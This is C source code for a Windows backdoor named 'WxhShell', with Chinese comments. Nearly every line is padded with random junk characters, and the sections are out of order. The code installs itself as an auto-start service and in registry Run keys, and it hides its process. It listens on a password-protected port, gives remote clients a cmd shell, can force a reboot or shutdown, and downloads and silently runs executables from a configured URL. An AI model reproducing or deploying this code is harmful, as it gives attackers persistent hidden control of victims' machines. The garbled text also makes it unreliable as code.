  case 'd': { zq&lxySa  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }% *g\%L  
    if(Boot(SHUTDOWN)) i&KODhMpP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a4YyELXe  
    else {  =%`"  
    closesocket(wsh); zKr(Gt8  
    ExitThread(0); [x,&Gwa  
    } K<(R Vh  
    break; [OSUARm v  
    } 29oEkaX2o  
  // 获取shell !NtY4O/  
  case 's': { Y'9deX+  
    CmdShell(wsh); \8ZNXCP  
    closesocket(wsh); -D(!B56_  
    ExitThread(0); E83nEUs  
    break; Cz%ih#^b  
  } 71InYIed  
  // 退出 YoA$Gw2  
  case 'x': { xl$ Qw'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); u1l#k60  
    CloseIt(wsh); 3-5lO#&#  
    break; ^=j$~*(LmX  
    } lVHJ}(<'p  
  // 离开 WP9=@X Z  
  case 'q': { :C5N(x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7_,X9^z  
    closesocket(wsh); crQuoOl7  
    WSACleanup(); @U5o;X!qU  
    exit(1); &[uGfm+@  
    break; CDhk!O..  
        } 5o*x?P!$  
  } %qMk&1  
  } iuEdm:pW  
ns-x\B?^  
  // 提示信息 %k_JLddlW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); AyDK-8a  
} ;uy/Vc5,Y  
  } -|5&3HVz  
J$o J  
  return; ge|}'QKow  
} 4kiu*T  
eJ'ojc3  
// shell模块句柄 B4C`3@a  
int CmdShell(SOCKET sock) $Fj7'@1(  
{ dj#<,e\  
STARTUPINFO si; Ue7~rPdlR  
ZeroMemory(&si,sizeof(si)); '4iu0ie>D  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gd*\,P  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; lz>hP  
PROCESS_INFORMATION ProcessInfo; +?8nY.~,'  
char cmdline[]="cmd"; o,L!F`W  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); WW.=>]7;  
  return 0; 2rk_ ssvs  
} z3,z&Ra  
%PpB$  
// 自身启动模式 E+gUzz5  
int StartFromService(void) qluyJpt  
{ @({65gJ*  
typedef struct 1<*-, f  
{ " 1 Bn/Q  
  DWORD ExitStatus; Q_Rr5/  
  DWORD PebBaseAddress; > 01k u  
  DWORD AffinityMask; I/adzLQ  
  DWORD BasePriority; J GdVSjNC  
  ULONG UniqueProcessId; uAP|ASH9T  
  ULONG InheritedFromUniqueProcessId; Lqt]  
}   PROCESS_BASIC_INFORMATION; R!O'DM+  
d;z`xy(C  
PROCNTQSIP NtQueryInformationProcess; 8mi IlB  
+q1@,LxN  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J<2N~$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]du pU"VV  
"-9YvB#  
  HANDLE             hProcess; ^>>Naid  
  PROCESS_BASIC_INFORMATION pbi; ?Gb 18m  
li'#< "R?'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =8]'/b  
  if(NULL == hInst ) return 0; +#O?sI#  
ppxu\a  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I<$lpU_H  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B}vI<?c  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); q8U]Hyp(`  
1t6UI4U!$  
  if (!NtQueryInformationProcess) return 0; X- zg  
_.j KcDf  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Gc>\L3u  
  if(!hProcess) return 0; u+*CpKR}  
o_cj-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qVf~\H@  
rl4-nA  
  CloseHandle(hProcess); _z_uz \#,  
!cfn%+0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n[<Vj1n  
if(hProcess==NULL) return 0; {d) +a$qj  
R +k\)_F  
HMODULE hMod; ^'}Td~(  
char procName[255]; MSA*XDnN  
unsigned long cbNeeded; M/BBNT  
O!a5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); RxqXGM`4  
%9IM|\ulp  
  CloseHandle(hProcess); :U~[%]  
{pVD`#Tl[  
if(strstr(procName,"services")) return 1; // 以服务启动 *w!H -*`  
9 eP @}C6  
  return 0; // 注册表启动 DY1o!thz)  
} bygwoZ<E  
>4;A (s`  
// 主模块 aFLm,  
int StartWxhshell(LPSTR lpCmdLine) %;gD_H4mm  
{ R\iU)QP  
  SOCKET wsl; U!('`TYe  
BOOL val=TRUE; _c[t.\-`]  
  int port=0; ZI1[jM{4^F  
  struct sockaddr_in door; fPst<)  
?R";EnD  
  if(wscfg.ws_autoins) Install(); vsc&$r3!5{  
rXA7<_Vg  
port=atoi(lpCmdLine); UlyX$f%2  
$Cte$ jg{;  
if(port<=0) port=wscfg.ws_port; zD?<m J`  
:z.< ||T  
  WSADATA data; JIK;/1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &D/_@\ 0  
yHCBf)N7\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /7*u!CNm  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Tmq:,.^}  
  door.sin_family = AF_INET; )4j#gHN\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); &0M^UvO  
  door.sin_port = htons(port); 98x(2fCvF(  
WFtxEIrl3j  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { GX\/2P7CZ  
closesocket(wsl); " 4s,a  
return 1; (d_{+O"  
} 07CGHAxJ`  
U:ZklDW  
  if(listen(wsl,2) == INVALID_SOCKET) { #\w~(Nm-  
closesocket(wsl); Rf7py)  
return 1; ^}9Aq $R  
} -B R&b2  
  Wxhshell(wsl); Ucv-}oa-?  
  WSACleanup(); HZR~r:_ i  
NX$$4<A1  
return 0; \s [Uq  
-8g ;t3z  
} q W) ,)i  
UAa2oY&  
// 以NT服务方式启动 2uz<n}IV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) yt$V<8a  
{ UA}k"uM  
DWORD   status = 0; R(3V ! ph  
  DWORD   specificError = 0xfffffff; K5b8lc  
X=-pNwO   
  serviceStatus.dwServiceType     = SERVICE_WIN32; |Zz3X  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "{|9Yis=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r%F{1.  
  serviceStatus.dwWin32ExitCode     = 0; 'H:lR1(,  
  serviceStatus.dwServiceSpecificExitCode = 0; H=EvT'g  
  serviceStatus.dwCheckPoint       = 0; pkhZW8O  
  serviceStatus.dwWaitHint       = 0; Aqq%HgY:t  
K" Y,K  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /8lGP! z  
  if (hServiceStatusHandle==0) return; 8xlj:5;(w  
0/;T\9  
status = GetLastError(); .hnGHX  
  if (status!=NO_ERROR) 8\/E/o3  
{ JQ!D8Ut  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; bc%7-%  
    serviceStatus.dwCheckPoint       = 0; $f_Brc:n {  
    serviceStatus.dwWaitHint       = 0; ACc.&,!IZ  
    serviceStatus.dwWin32ExitCode     = status; >AV?g8B;  
    serviceStatus.dwServiceSpecificExitCode = specificError; -49OE*uF  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _<&IpT{w+  
    return; bNj| GIf  
  } tvZpm@1  
az\ ;D\\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; V\^?V|  
  serviceStatus.dwCheckPoint       = 0; 19h8p>Sx0  
  serviceStatus.dwWaitHint       = 0; F(:+[$)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [[ H XOPaV  
} )9==6p  
DtR-NzjB  
// 处理NT服务事件,比如:启动、停止 pJ1GB  
VOID WINAPI NTServiceHandler(DWORD fdwControl) uG~%/7Qt{  
{ 'Q?nU^:F#  
switch(fdwControl) W%@6D|^  
{ |v:8^C7  
case SERVICE_CONTROL_STOP: d'J))-*#UO  
  serviceStatus.dwWin32ExitCode = 0; qVx0VR1:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 8g^OXZ   
  serviceStatus.dwCheckPoint   = 0; c(i-~_  
  serviceStatus.dwWaitHint     = 0; (WX,&`a<$  
  { dyD =R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I"y=A7Nq  
  } OiZPL"Q(K  
  return; 0 ; M+8  
case SERVICE_CONTROL_PAUSE: !Tr +:SM  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; bo`w( h_  
  break; OANn!nZ.  
case SERVICE_CONTROL_CONTINUE: P.=&:ay7?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; R@u6mMX{N,  
  break; AS'a'x>8>,  
case SERVICE_CONTROL_INTERROGATE: 79z(n[^  
  break; Xq1n1_Z  
}; vH9/}w2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Lr V)}1&5  
} /!uxP~2U  
!zVuO*+  
// 标准应用程序主函数 Ay22-/C|@  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7?dB&m6W  
{ n@Y`g{{e~  
;XRLp:y  
// 获取操作系统版本 |U>BXX P  
OsIsNt=GetOsVer(); x?VX,9;j  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &S]\)&Yt  
-6aGcPq  
  // 从命令行安装 5a&[NN  
  if(strpbrk(lpCmdLine,"iI")) Install(); 25o + ?Y<  
^D ;X  
  // 下载执行文件 o'?Y0Wt  
if(wscfg.ws_downexe) { pg;agtI  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) S2@[F\|r  
  WinExec(wscfg.ws_filenam,SW_HIDE); 120<(#  
} D9 OS,U/l  
H_3S#.  
if(!OsIsNt) { gQCkoQi:j  
// 如果时win9x,隐藏进程并且设置为注册表启动 h 1:uTrtA  
HideProc(); H*?U@>UU  
StartWxhshell(lpCmdLine); RgZBh04q  
} &NL=Bd  
else pdngM 8n  
  if(StartFromService()) rc<^6HqD  
  // 以服务方式启动 r\.1=c#"bP  
  StartServiceCtrlDispatcher(DispatchTable); T4F}MVK  
else { %vX/Ek  
  // 普通方式启动 ;lB%N t<,  
  StartWxhshell(lpCmdLine); t:9}~%~  
g~S>_~WL  
return 0; eo24I0 `N  
} a]Bm0gdrO  
9N:Bu'j&/  
u I}S9  
"@;q! B.qo  
=========================================== O&!+ni  
=) $a>N  
f nX!wN  
Kzb&aOw  
b54<1\&  
?kI-o0@O.  
" @TdPeTw\  
N4}j,{#  
#include <stdio.h> &jT>)MXPu  
#include <string.h> pLE|#58I  
#include <windows.h> 2G=Bav\n+  
#include <winsock2.h> NIY0f@1z-  
#include <winsvc.h> >2_BL5<S  
#include <urlmon.h> MS)#S&  
J}Bg<[n  
#pragma comment (lib, "Ws2_32.lib") h \hQ  
#pragma comment (lib, "urlmon.lib") 5?&k? v@  
rbHrG<+7zO  
#define MAX_USER   100 // 最大客户端连接数 {OL*E0  
#define BUF_SOCK   200 // sock buffer u-=S_e  
#define KEY_BUFF   255 // 输入 buffer /J aH  
%M2.h;9]*\  
#define REBOOT     0   // 重启 2l}FOdq  
#define SHUTDOWN   1   // 关机 $]<CC`  
Mc#uWmc 7  
#define DEF_PORT   5000 // 监听端口 lbZ,?wm  
dE7 kd=.o  
#define REG_LEN     16   // 注册表键长度 -v'7;L0K  
#define SVC_LEN     80   // NT服务名长度 B;r U  
vvU;55-  
// 从dll定义API 8P.t  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ClCb.Ozj4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ID & Iz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); _ r0oOpE  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &^Zo}F2V  
D}XyT/8G3  
// wxhshell配置信息 b8P/9D7K?  
struct WSCFG { mk2T   
  int ws_port;         // 监听端口 #I|Vyufw  
  char ws_passstr[REG_LEN]; // 口令 LYhgBG,   
  int ws_autoins;       // 安装标记, 1=yes 0=no W$O^IC  
  char ws_regname[REG_LEN]; // 注册表键名 %*wJODtB|  
  char ws_svcname[REG_LEN]; // 服务名 5"u-oE&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^>gRK*,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 'S@%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 iA3d[%tBb  
int ws_downexe;       // 下载执行标记, 1=yes 0=no (cAv :EKpo  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +Pd&YfU9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _A|1_^[G(  
z6#N f,  
}; eS8tsI  
,>A9OTSN\  
// default Wxhshell configuration TviC1 {2  
struct WSCFG wscfg={DEF_PORT, ]:(>r&'  
    "xuhuanlingzhe", :WIbjI=  
    1, !MS z%QcO  
    "Wxhshell", =unMgX]$  
    "Wxhshell", M7-piRnd4  
            "WxhShell Service", <"{Lv)4  
    "Wrsky Windows CmdShell Service", aR6?+`6<  
    "Please Input Your Password: ", )HNbWGu  
  1, BQ{Gp 2N  
  "http://www.wrsky.com/wxhshell.exe", S}gUz9ks  
  "Wxhshell.exe" mf=,6fx28  
    }; =K I4  
RXh0hD  
// 消息定义模块 k!H;(B"s-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /6B!& b2f  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @a#qq`b;  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; VQ5T$,&  
char *msg_ws_ext="\n\rExit."; v|t_kNX;v*  
char *msg_ws_end="\n\rQuit."; g e)g?IP4  
char *msg_ws_boot="\n\rReboot..."; - l8n0P1+  
char *msg_ws_poff="\n\rShutdown..."; t uo'4%]i  
char *msg_ws_down="\n\rSave to "; lBqu}88q0  
s Z(LT'}  
char *msg_ws_err="\n\rErr!"; 2hdi)C,7Y  
char *msg_ws_ok="\n\rOK!"; O Ul+es  
M,"4r^%k  
char ExeFile[MAX_PATH]; 9a9<I  
int nUser = 0; eUPG){"  
HANDLE handles[MAX_USER]; ?v PwI  
int OsIsNt; EgM.wQHR]  
+Gqh  
SERVICE_STATUS       serviceStatus; yx"xbCc#  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "2;$?*hO#  
osyY+)G'sV  
// 函数声明 ,LKY?=T$z  
int Install(void); YNA %/  
int Uninstall(void); ?6+GE_VZ  
int DownloadFile(char *sURL, SOCKET wsh); 6[,*2a8  
int Boot(int flag); X[_w#Hwp-  
void HideProc(void); *q_ .y\D  
int GetOsVer(void); FKY|xG9  
int Wxhshell(SOCKET wsl); u4bPj2N8I  
void TalkWithClient(void *cs); (2(I|O#  
int CmdShell(SOCKET sock); htk5\^(X  
int StartFromService(void); 85Zy0l  
int StartWxhshell(LPSTR lpCmdLine); o)F^0t  
*X+T>SKL  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); SoeL_#+^W  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); lTW5> %  
 Q<B=m6~  
// 数据结构和表定义 \2 &)b  
SERVICE_TABLE_ENTRY DispatchTable[] = {c`kC]9  
{ YqX/7b+  
{wscfg.ws_svcname, NTServiceMain}, VFz (U)._  
{NULL, NULL} 2#~5[PtP^  
}; z #c)Q  
x!fvSoHp  
// 自我安装 Kyw Dp37^  
int Install(void) Os' 7h  
{ P9; =O$s  
  char svExeFile[MAX_PATH]; Lo _5r T"  
  HKEY key; K Art4+31  
  strcpy(svExeFile,ExeFile); Qc#<RbLL  
g+;m?VJ  
// 如果是win9x系统,修改注册表设为自启动 ' Z:FGSwT  
if(!OsIsNt) { fQRGz\r*k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XSC._)ztEE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o#gb+[  
  RegCloseKey(key); 'qwFVP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )D_#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,!_$A}@0 ^  
  RegCloseKey(key); f?kA,!  
  return 0; _Z z" `  
    } Z12-Vps  
  } Tn,'*D@l  
} XBe!9/'k>  
else { W}#eQ|oCV  
}D/0&<1  
// 如果是NT以上系统,安装为系统服务 .P+om<~B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); PCDsj_e  
if (schSCManager!=0) -:b0fKn  
{ H(9%SP@[c  
  SC_HANDLE schService = CreateService GhpVi<FL  
  ( T<Y^V  
  schSCManager, {\9vW; '  
  wscfg.ws_svcname, ukb2[mb*u  
  wscfg.ws_svcdisp,  +LeZjA[  
  SERVICE_ALL_ACCESS, @N,dA#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]+\;pb}bq  
  SERVICE_AUTO_START, ~6L\9B )  
  SERVICE_ERROR_NORMAL, z}&w7 O#   
  svExeFile, :5IbOpVM  
  NULL, PrqN5ND  
  NULL, 5D 9I;L{  
  NULL, '1{co/Y  
  NULL, *m6~x-x  
  NULL oG~a`9N%C  
  ); !PJD+SrG  
  if (schService!=0) v MTWtc!6  
  { \9T CP;{  
  CloseServiceHandle(schService); 1eQa54n  
  CloseServiceHandle(schSCManager); C1_':-4  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1uBnU2E  
  strcat(svExeFile,wscfg.ws_svcname); 'z7,)Q&8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { p+#$S4V  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); sc dU  
  RegCloseKey(key); XA75tU[#  
  return 0; ]pr(hk  
    } 5<h7+ %?t9  
  } s)X'PJ0&Bs  
  CloseServiceHandle(schSCManager); ``KimeA~  
} 'oSs5lW  
} k/bY>FY2r  
MebL Y $&8  
return 1; F_0vh;Jo  
} TY}9;QL:  
jx B  
// 自我卸载 :H($|$\h  
int Uninstall(void) 7(c7-  
{  V9\g?w  
  HKEY key; Z9TmX A@  
9NXf~-V-  
if(!OsIsNt) { |35"V3bs  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a oj6/  
  RegDeleteValue(key,wscfg.ws_regname); | LdDL953  
  RegCloseKey(key); zMlW)NB'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 2VO bj7F  
  RegDeleteValue(key,wscfg.ws_regname); xQ4 5B` $  
  RegCloseKey(key); %GS^=Qr  
  return 0; vt)u`/u  
  } <^>O<P:v  
} ,S QmQ6h  
} 2\Bt~;EIx  
else { bV c"'RQ  
&L6xagR7M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); FVw;`{  
if (schSCManager!=0) g2Pa-}{  
{ ~nO]R   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %6Wv-:LY  
  if (schService!=0) O6JH)Ka"S  
  { j"g[qF/*  
  if(DeleteService(schService)!=0) { NKyaR_q`  
  CloseServiceHandle(schService); 5WJof`M  
  CloseServiceHandle(schSCManager); +b@KS"3h  
  return 0; !Ab4'4f  
  } esE5#Yq4.k  
  CloseServiceHandle(schService); 2}:{}pw  
  } z+IHt(  
  CloseServiceHandle(schSCManager); O*% 1   
} 7;0$UYDU*  
} ,m ^q >  
n:QFwwQ`Q;  
return 1; ^yLiyRe\  
} IJX75hE0g  
eru2.(1  
// 从指定url下载文件 es]S]}JV  
int DownloadFile(char *sURL, SOCKET wsh) o[<lTsw<  
{ tx0`#x  
  HRESULT hr; 9?M>Y?4  
char seps[]= "/"; .A 12Co  
char *token; 2e~ud9,  
char *file; HCj/x<*F  
char myURL[MAX_PATH]; J* V@huF  
char myFILE[MAX_PATH]; rqa?A }'  
bEx8dc`Q  
strcpy(myURL,sURL); NlLgXn!  
  token=strtok(myURL,seps); & !0[T   
  while(token!=NULL) X{2))t%  
  { "p,TYjT?R  
    file=token; xnz(hz6  
  token=strtok(NULL,seps); Th"0Cc)  
  } )1de<# qM  
$:&?!>H  
GetCurrentDirectory(MAX_PATH,myFILE); "^?|=sQ  
strcat(myFILE, "\\"); U9N1 )3/u  
strcat(myFILE, file); p\xi5z  
  send(wsh,myFILE,strlen(myFILE),0); h$\+r<  
send(wsh,"...",3,0); IC5[:UZ5]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9hoTxWpmy  
  if(hr==S_OK) x.gRTR`7(  
return 0; M? 7CBqZ  
else 8&d s  
return 1; r7dvj#^  
+[W_J z  
} #L,>)XkjS  
rID_^g_tP8  
// 系统电源模块 vpTYfE  
int Boot(int flag) ~Ey)9phZK  
{ 'dTJE--@  
  HANDLE hToken; ur*a!U  
  TOKEN_PRIVILEGES tkp; |n9q 4*dN  
/m>%=_nz  
  if(OsIsNt) { !\e&7sV~Q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {/Mz /|%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }vzZWe  
    tkp.PrivilegeCount = 1; kd0~@rPL  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; D)0pm?*5A  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Iv J ;9d  
if(flag==REBOOT) { i,k.#Vx[m  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L H>oG$a  
  return 0; =2sj$  
} JI&ik_k3  
else { ]U9f4ODt  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) E05RqnqBn0  
  return 0; iEe<+Eyns  
} -wA^ao   
  } G5;N#^myJ  
  else { Os1o!w:m5  
if(flag==REBOOT) { xRTr<j0s  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) QtF'x<cB  
  return 0; W_]Su  
} drv"I[}{A  
else { MXQ S6F#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _6Ex}`fyJ  
  return 0; ZH@BHg|}H  
} kTCWyc  
} Kr;7~`$[  
:#yjg1aej  
return 1; _1<zpHp  
}  G{4~{{tI  
F0&BEJBkU  
// win9x进程隐藏模块 _PI w""ssr  
void HideProc(void) 'Cc(}YY0C  
{ K9-?7X  
0u,OW  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fe,A\W&8  
  if ( hKernel != NULL ) $ U~3$*R  
  { fi/[(RBG  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Kzv*`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); sg=mkkD!g  
    FreeLibrary(hKernel); =%wwepz6  
  } }Y{aVn&C  
L%3m_'6QP  
return; xt{f+c@P  
} X?B9Z8  
NZj_7j|o9  
// 获取操作系统版本 ^:c:~F6J  
int GetOsVer(void) 'yrU_k,h  
{ jsXj9:X I  
  OSVERSIONINFO winfo; 83^|a5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); > `uk2QdC  
  GetVersionEx(&winfo); !a(#G7zA  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) wK0= I\WN9  
  return 1; dcK7Dd->  
  else #<^ngoOj  
  return 0; Ax'jNol  
} 8ec6J*b  
i/Nd  
// 客户端句柄模块 W ix/Az  
int Wxhshell(SOCKET wsl) &n|S:"B  
{ Y<A593  
  SOCKET wsh; j|WuOZm\0  
  struct sockaddr_in client; ISp'4H7R+N  
  DWORD myID; X={n9*Sd8  
c5jd q[0  
  while(nUser<MAX_USER) d8Keyi8[  
{ ]+ \]2`?  
  int nSize=sizeof(client); 3`W=rIMli  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]w)*8 w.)  
  if(wsh==INVALID_SOCKET) return 1; @R!f(\  
,$lOQ7R1(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); }w,^]fC:  
if(handles[nUser]==0) .6@qU}  
  closesocket(wsh); 319 &:  
else L}>XH*  
  nUser++; im}=  
  } 6b-j  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )$h<9e  
p=tj>{  
  return 0; W~TT`%[  
} 2J^jSgr50d  
;M<jQntqS{  
// 关闭 socket p@/i e@DX  
void CloseIt(SOCKET wsh) .x 1&   
{ rQW&$M  
closesocket(wsh); 3EM=6\#q  
nUser--; `ViFY   
ExitThread(0); n+C,v.X  
} LLa72HW  
3C=|  
// 客户端请求句柄 L_3undy,  
void TalkWithClient(void *cs) U\_-GS;1  
{ =h`yc$ A(2  
$m.e}`7SF!  
  SOCKET wsh=(SOCKET)cs; c<'Pt4LY  
  char pwd[SVC_LEN]; _N.N?>  
  char cmd[KEY_BUFF]; 0st)/\  
char chr[1]; ( TQx3DGq  
int i,j; **zh>Y}6  
kF09t5Lr  
  while (nUser < MAX_USER) { D@M ZTb  
Anpx%NVo  
if(wscfg.ws_passstr) { 4 Ar\`{c>  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $LS$:%i4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3#d5.Ut  
  //ZeroMemory(pwd,KEY_BUFF); INm21MS$  
      i=0; Nb))_+/  
  while(i<SVC_LEN) { LI>tN R~  
MZpG1  
  // 设置超时 ERql^Yr  
  fd_set FdRead; qqm7p ,j  
  struct timeval TimeOut; mOLP77(o  
  FD_ZERO(&FdRead); +m> %(?=A  
  FD_SET(wsh,&FdRead); t+R8{9L-  
  TimeOut.tv_sec=8; -Qs4 s  
  TimeOut.tv_usec=0; RJ#xq#l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \= M*x  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); N8<Wm>GLX~  
+/g/+B_b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E1atXx  
  pwd=chr[0]; p4 \r`  
  if(chr[0]==0xd || chr[0]==0xa) { Z#-:zD7_  
  pwd=0; Qx9lcO_  
  break; a0vg%Z@!  
  } t@a2@dX|  
  i++; C?UV3  
    } ZDmBuf q  
QzjLKjl7p4  
  // 如果是非法用户,关闭 socket ^%^~:<N  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0>uMR{ #  
} Q%.V\8#|V  
4X0k1Fw)Y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); r ek89.p  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E^I|%F  
Us4ijR d  
while(1) { vgfLI}|5  
=:T pH>f*  
  ZeroMemory(cmd,KEY_BUFF); @O;gKFx  
{X=gjQ9  
      // 自动支持客户端 telnet标准   T.1*32cX  
  j=0; gFJ. p  
  while(j<KEY_BUFF) { aY^_+&&G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *c\:ogd  
  cmd[j]=chr[0]; L*2YAIG  
  if(chr[0]==0xa || chr[0]==0xd) { cx]&ae*  
  cmd[j]=0; jQAK ?7':=  
  break; __}j {Buk  
  } mL!)(Bb  
  j++; Q4gsOx P  
    } +?xW%omy  
 ~ccwu  
  // 下载文件 JEF2fro:Z  
  if(strstr(cmd,"http://")) { K._tCB:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /V66P@[>  
  if(DownloadFile(cmd,wsh)) 0]tr&BLl*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); '\I.P  
  else p'lL2 n$E  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gZ!vRO <%  
  } aS^ 4dEJ  
  else { Q@]QPpe  
`0@onDQVc=  
